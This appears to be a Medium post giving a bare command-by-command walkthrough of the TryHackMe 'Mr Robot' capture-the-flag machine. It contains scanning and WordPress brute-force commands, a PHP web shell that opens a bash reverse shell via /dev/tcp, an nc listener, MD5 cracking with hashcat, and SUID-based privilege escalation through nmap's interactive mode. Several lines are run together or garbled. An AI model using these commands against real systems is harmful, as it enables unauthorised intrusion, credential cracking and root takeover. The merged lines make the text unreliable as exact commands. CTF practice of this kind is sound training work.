TryHackMe: Mr Robot CTF

  1. Port scan
nmap -Pn <ip>
nmap -A -p 22,80,443 <ip>
nmap --script vuln -p 22,80,443 <ip>
prepare
fsociety
inform
question
wakeup
join
wget http://<ip>/fsocity.diccat fsocity.dic
wc -l fsocity.dic
sort fsocity.dic | uniq > sort_fsocity.dicwc -l sort_fsocity.dic
nikto -h http://<ip>/ -nossl
dirb http://<ip>
http://<ip>/0/
wpscan --url http://<ip>/0/ -et -ep -eu
wpscan --url http://<ip>/0/ --wp-content-dir -et -ep -eu
wpscan --url http://<ip>/0/ --wp-content-dir -eu -P fsocity.dic
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/<ip>/1234 0>&1'");
?>
nc -lvp 1234
cd /home/lscat key-2-of-3.txt
cat password.raw-md5
hashcat -m 0 c3fcd3d76192e4007dfb496cca67e13b ~/Desktop/rockyou.txthashcat -m 0 c3fcd3d76192e4007dfb496cca67e13b ~/Desktop/rockyou.txt --show
su robot
python -c 'import pty;pty.spawn("/bin/bash");'
su robot
cat key-2-of-3.txt
1
sudo -l
find / -perm -u=s -type f 2>/dev/null
nmap --interactive!shid
cd /rootcat key-3-of-3.txt

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store